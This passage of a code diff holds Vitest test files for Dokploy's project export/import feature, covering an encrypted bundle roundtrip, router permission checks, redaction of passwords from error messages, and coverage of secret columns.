projectId: "project-1",
name: "my-project",
organizationId: "org-src",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
compose: [composeService],
...emptyServiceArrays,
},
],
};
const readDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: {
findMany: async () => [application],
findFirst: async () => undefined,
},
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
registry: {
findMany: async () => [
{
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
},
],
findFirst: async () => ({
registryId: "registry-src-1",
registryName: "Acme",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
username: "user",
password: "pass",
organizationId: "org-src",
}),
},
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
gitProvider: { findMany: async () => [] },
server: {
findMany: async () => [],
findFirst: async () => ({ organizationId: "org-dest" }),
},
webServerSettings: { findFirst: async () => undefined },
sshKeys: { findMany: async () => [] },
domains: { findMany: async () => [] },
ports: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: { registry: "value" },
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
let workDir: string;
let outDir: string;
let extractDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
await rm(extractDir, { recursive: true, force: true });
});
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
const db = readDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) =>
detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-src",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
await inspectBundle(local(bundlePath), local(extractDir));
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
const plan = await buildPlan(
db,
unlocked.snapshot,
"org-dest",
{ kind: "newProject", name: "imported-project" },
{
resolutions: {
"server:null": {
requirementKey: "server:null",
action: "reuse",
targetId: LOCAL_SERVER_CANDIDATE_ID,
},
},
},
);
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
]?.action,
).toBe("reuse");
expect(
plan.resolutions[
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
]?.action,
).toBe("reuse");
expect(plan.pendingServices).toEqual([]);
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
let counter = 0;
const idFieldByTable = new Map<unknown, string>([
[projects, "projectId"],
[applications, "applicationId"],
[compose, "composeId"],
[domains, "domainId"],
[mounts, "mountId"],
[ports, "portId"],
[security, "securityId"],
[registry, "registryId"],
[schedules, "scheduleId"],
]);
const environmentsTable = (await import("@dokploy/server/db/schema"))
.environments;
idFieldByTable.set(environmentsTable, "environmentId");
const writeDb = {
query: {
vaultProvider: {
findFirst: async () => ({
vaultProviderId: "vault-dest-1",
name: "prod",
organizationId: "org-dest",
assignments: [],
}),
},
registry: {
findFirst: async () => ({
registryId: "registry-dest-1",
organizationId: "org-dest",
}),
},
github: { findFirst: async () => undefined },
gitlab: { findFirst: async () => undefined },
gitea: { findFirst: async () => undefined },
bitbucket: { findFirst: async () => undefined },
server: { findFirst: async () => undefined },
webServerSettings: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
insert: (table: unknown) => ({
values: (values: Record<string, unknown>) => {
const idField = idFieldByTable.get(table);
const row = { ...values };
if (idField) {
row[idField] =
(values[idField] as string | undefined) ??
`new-${idField}-${++counter}`;
}
const list = insertedByTable.get(table) ?? [];
list.push(row);
insertedByTable.set(table, list);
return { returning: async () => [row] };
},
}),
update: () => ({ set: () => ({ where: async () => {} }) }),
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
const tx = { ...writeDb };
return fn(tx);
},
} as any as TransferWriteDb;
const result = await apply(
writeDb,
unlocked.snapshot,
plan,
unlocked.secretsPlain,
"org-dest",
);
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
string,
unknown
>;
expect(projectRow.projectId).not.toBe("project-1");
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
expect(projectRow.name).toBe("imported-project (imported)");
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedApp.applicationId).not.toBe("app-1");
expect(insertedApp.appName).not.toBe("my-app-abc123");
expect(insertedApp.env).toBe(
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
);
expect(insertedApp.registryId).toBe("registry-src-1");
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedCompose.composeId).not.toBe("compose-1");
expect(insertedCompose.appName).not.toBe("my-compose-def456");
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
| Record<string, unknown>
| undefined;
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
expect(insertedSchedule?.organizationId).toBe("org-dest");
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedDomain.host).toBe("app-1.example.com");
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedMount.content).toBe("server { listen 80; }");
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedSecurity.password).toBe("basicauthpass");
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
string,
unknown
>;
expect(insertedPort.publishedPort).toBe(8080);
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
expect(serializedInserts).not.toContain("$secret:");
expect(serializedInserts).not.toContain("webhook-token");
}, 30_000);
});
@@ -0,0 +1,577 @@
import { describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@/server/utils/billing", () => ({
getCurrentPlan: vi.fn(async () => null),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
validatePlan: vi.fn(async () => []),
inspectBundle: vi.fn(async () => {
throw new Error("inspectBundle not stubbed for this test");
}),
};
},
);
const {
createImportJob,
getImportJob,
createExportJob,
exportScopeSchema,
assertTransferPermission,
validatePlan,
updateImportJob,
inspectBundle,
UnsupportedBundleVersionError,
} = await import("@dokploy/server/services/project-export-import");
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const ctxFor = (organizationId: string, userId = "user-1") =>
({
session: { activeOrganizationId: organizationId },
user: { id: userId, email: "a@b.com" },
}) as any;
describe("projectExportImportRouter.importStart", () => {
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
const importId = "import-router-1";
createImportJob(importId, "user-1", "org-1");
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
callCountBefore,
);
});
it("returns NOT_FOUND for a job belonging to another organization", async () => {
const importId = "import-router-3";
createImportJob(importId, "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "NOT_FOUND",
});
});
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
const userId = "user-validate-a";
const importId = "import-router-validate-1";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect(validatePlan).toHaveBeenCalled();
});
it("proceeds past validation when every check passes", async () => {
const userId = "user-validate-b";
const importId = "import-router-validate-2";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
const userId = "user-validate-c";
const busyImportId = "import-router-busy-1";
createImportJob(busyImportId, userId, "org-1");
const importId = "import-router-validate-3";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("does not treat the job's own already-active status as a conflict with itself", async () => {
const userId = "user-validate-d";
const importId = "import-router-validate-4";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
const userId = "user-validate-e";
const importId = "import-router-validate-5";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await caller.importStart({ importId }).catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
});
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
const importId = "import-router-inspect-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
root: local("/tmp/does-not-matter"),
bundle: local("/tmp/does-not-matter.tar.gz"),
});
(inspectBundle as any).mockRejectedValueOnce(
new UnsupportedBundleVersionError(2, 1),
);
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
message: expect.stringContaining("newer version of Dokploy"),
});
});
});
describe("projectExportImportRouter guards", () => {
it("refuses to start an import that is not in the planned state", async () => {
const importId = "import-router-not-planned";
createImportJob(importId, "user-not-planned", "org-1");
updateImportJob(importId, {
status: "applying",
snapshot: { resources: { services: [] } } as any,
plan: { target: { kind: "newProject", name: "x" } } as any,
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-not-planned"),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("only lets the user who started the import reveal its secrets", async () => {
const importId = "import-router-other-user";
createImportJob(importId, "user-a", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: { resources: { services: [], shared: {} } } as any,
secretsPlain: new Map([["s", "v"]]),
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-b"),
);
await expect(
caller.importSecretReveal({ importId, secretId: "s" }),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("restores the original secret when an override is dropped from a later call", async () => {
const importId = "import-router-override-reset";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: {
resources: {
services: [],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
},
},
} as any,
secretsPlain: new Map([["reg-1", "original"]]),
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller.importSecretsOverride({
importId,
overrides: { "reg-1": "replaced" },
});
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
await caller.importSecretsOverride({ importId, overrides: {} });
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
});
it("only deletes objects that look like export bundles", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-delete-bundle"),
);
await expect(
caller.deleteRemoteBundle({
destinationId: "dest-1",
key: "backups/production.sql.gz",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
createExportJob("batch-other-org", "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
).resolves.toEqual([
{ exportId: "nope", status: "error", error: "Export not found" },
{
exportId: "batch-other-org",
status: "error",
error: "Export not found",
},
]);
});
it("parses the full organization scope and a bare preview scope with defaults", async () => {
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
expect(full).toEqual({
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
});
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
});
it("rejects an organization export to a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-org-export"),
);
await expect(
caller.exportOrganizationStart({
destinationId: "dest-of-org-2",
passphrase: "a-long-enough-passphrase",
projectIds: ["project-1"],
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects exportStart with a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-export-dest"),
);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "a-long-enough-passphrase",
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
});
describe("projectExportImportRouter.importValidate", () => {
it("rejects with BAD_REQUEST before importPlan ran", async () => {
const importId = "import-router-validate-early";
createImportJob(importId, "user-validate-early", "org-1");
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-early"),
);
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
});
it("stores the checks on the plan and returns them", async () => {
const importId = "import-router-validate-store";
createImportJob(importId, "user-validate-store", "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
target: { kind: "newProject", name: "x" },
validation: [],
} as any,
});
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-store"),
);
const result = await caller.importValidate({ importId });
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([]);
expect(result.checks).toEqual([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const status = await caller.importStatus({ importId });
expect(status.plan?.validation).toEqual(result.checks);
});
});
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
const importId = "import-router-unlock-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importUnlock({ importId, passphrase: "short" }),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
});
describe("projectExportImportRouter.importPlan", () => {
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
const importId = "import-router-4";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
const importId = "import-router-5";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
const importId = "import-router-6";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBeUndefined();
});
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
const { getCurrentPlan } = await import("@/server/utils/billing");
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
const importId = "import-router-env-limit-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
snapshot: {
resources: { environments: [{}, {}, {}], services: [] },
} as any,
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-1",
environmentName: "imported",
},
choices: {},
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
});
describe("projectExportImportRouter.importCancel", () => {
it("returns NOT_FOUND for an unknown importId", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importCancel({ importId: "does-not-exist" }),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("maps a still-running import to CONFLICT", async () => {
const importId = "import-cancel-router-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { status: "restoring" });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
it("maps a still-running export to CONFLICT", async () => {
const exportId = "export-cancel-router-1";
const job = createExportJob(exportId, "user-1", "org-1");
job.status = "dumping";
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
const exportId = "export-status-forbidden-1";
createExportJob(exportId, "user-1", "org-1");
const importId = "import-status-forbidden-1";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const { TRPCError } = await import("@trpc/server");
const forbidden = () =>
new TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
});
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
const exportId = "export-status-token-1";
createExportJob(exportId, "user-1", "org-1");
const { updateExportJob } = await import(
"@dokploy/server/services/project-export-import"
);
updateExportJob(exportId, {
status: "done",
downloadToken: "tok-abc123",
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const result = await caller.exportStatus({ exportId });
expect((result as any).downloadToken).toBe("tok-abc123");
});
});
@@ -0,0 +1,41 @@
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it } from "vitest";
describe("safeErrorMessage (T-4.2)", () => {
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
const error = new ExecError(
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
{
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
stderr:
"pg_dump: error: connection failed: FATAL: password authentication failed",
exitCode: 1,
},
);
const message = safeErrorMessage(error);
expect(message).not.toContain("realpassword123");
expect(message).not.toContain("PGPASSWORD");
expect(message).toContain("exit code 1");
expect(message).toContain("password authentication failed");
});
it("falls back to a generic message when an ExecError has no stderr", () => {
const error = new ExecError("Command execution failed", {
command: "PGPASSWORD=secret pg_dump",
});
const message = safeErrorMessage(error);
expect(message).not.toContain("secret");
expect(message).toBe("Command failed");
});
it("passes a plain Error's message through unchanged", () => {
expect(safeErrorMessage(new Error("Service not found"))).toBe(
"Service not found",
);
});
it("stringifies a non-Error thrown value", () => {
expect(safeErrorMessage("boom")).toBe("boom");
});
});
@@ -0,0 +1,189 @@
import {
applications,
backups,
certificates,
compose,
destinations,
dnsProvider,
environments,
libsql,
mariadb,
mongo,
mounts,
mysql,
network,
postgres,
projects,
redis,
registry,
security,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
import {
NEVER_EXPORT_FIELDS,
restoreSecretFields,
SECRET_FIELDS,
stripNeverExport,
} from "@dokploy/server/services/project-export-import";
import { getTableColumns } from "drizzle-orm";
import { describe, expect, it } from "vitest";
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
{ table: applications, kind: "application" },
{ table: compose, kind: "compose" },
{ table: environments, kind: "environment" },
{ table: libsql, kind: "libsql" },
{ table: mariadb, kind: "mariadb" },
{ table: mongo, kind: "mongo" },
{ table: mysql, kind: "mysql" },
{ table: postgres, kind: "postgres" },
{ table: projects, kind: "project" },
{ table: redis, kind: "redis" },
];
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
...TABLES_WITH_KIND,
{ table: mounts, kind: "mount" },
{ table: security, kind: "security" },
{ table: destinations, kind: "destination" },
{ table: registry, kind: "registry" },
{ table: sshKeys, kind: "sshKey" },
{ table: certificates, kind: "certificate" },
{ table: vaultProvider, kind: "vaultProvider" },
{ table: dnsProvider, kind: "dnsProvider" },
{ table: backups, kind: "backup" },
{ table: network, kind: "network" },
];
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`covers sensitive-named columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
SENSITIVE_NAME.test(name),
);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of sensitiveFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName);
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
}
});
}
});
describe("SECRET_FIELDS covers every encryptedText column", () => {
for (const { table, kind } of TABLES_WITH_KIND) {
it(`covers encrypted columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const encryptedFieldNames = Object.entries(columns)
.filter(
([, col]) =>
(col as { columnType: string }).columnType === "PgCustomColumn",
)
.map(([name]) => name);
expect(encryptedFieldNames.length).toBeGreaterThan(0);
const covered = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
for (const fieldName of encryptedFieldNames) {
expect(covered.has(fieldName)).toBe(true);
}
});
}
});
describe("stripNeverExport", () => {
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
const row = {
applicationId: "a1",
serverId: "s1",
buildServerId: "s2",
refreshToken: "tok",
githubId: "gh1",
createdAt: "2024-01-01",
name: "app",
};
const stripped = stripNeverExport("application", row);
expect(stripped).not.toHaveProperty("serverId");
expect(stripped).not.toHaveProperty("buildServerId");
expect(stripped).not.toHaveProperty("refreshToken");
expect(stripped).not.toHaveProperty("githubId");
expect(stripped).not.toHaveProperty("createdAt");
expect(stripped.applicationId).toBe("a1");
expect(stripped.name).toBe("app");
});
it("does not mutate the original row", () => {
const row = { serverId: "s1", name: "app" };
stripNeverExport("postgres", row);
expect(row).toHaveProperty("serverId");
});
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
const row = { name: "unmapped" };
// @ts-expect-error deliberately invalid kind, to check the fallback path
const stripped = stripNeverExport("notAKind", row);
expect(stripped).toEqual(row);
});
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
expect(stripped).not.toHaveProperty("createdAt");
}
});
});
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`checks jsonb columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const jsonbFieldNames = Object.entries(columns)
.filter(
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
)
.map(([name]) => name);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of jsonbFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName) ||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
expect(
covered,
`${kind}.${fieldName} is not covered or allowlisted`,
).toBe(true);
}
});
}
});
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
const row = {
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
};
const result = restoreSecretFields("application", row, secretsPlain);
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
});
});
@@ -0,0 +1,53 @@
import type { Snapshot } from "@dokploy/server/services/project-export-import";
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot = {
resources: {
project: {},
environments: [],
services: [
{
kind: "application",
applicationId: "app-1",
name: "web",
security: [
{ username: "admin", password: "$secret:sec-1" },
{ username: "plain", password: "not-a-ref" },
],
},
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
destination: [
{
name: "backups",
accessKey: "$secret:ak-1",
secretAccessKey: "$secret:sk-1",
},
],
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
},
},
} as unknown as Snapshot;
describe("listReviewableSecrets", () => {
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
const entries = listReviewableSecrets(snapshot);
expect(
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
).toEqual([
["basicAuth", "web · admin", "password", "sec-1"],
["registry", "ghcr", "password", "reg-1"],
["destination", "backups", "accessKey", "ak-1"],
["destination", "backups", "secretAccessKey", "sk-1"],
["sshKey", "deploy", "privateKey", "ssh-1"],
["certificate", "wildcard", "privateKey", "cert-1"],
]);
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
"basicAuth",
]);
});
});
@@ -0,0 +1,187 @@
import { createReadStream, createWriteStream, existsSync } from "node:fs";
import {
mkdir,
mkdtemp,
readdir,
readFile,
rm,
writeFile,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { pipeline } from "node:stream/promises";
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
import {
deriveKeys,
gcmDecryptStream,
serialize,
} from "@dokploy/server/services/project-export-import";
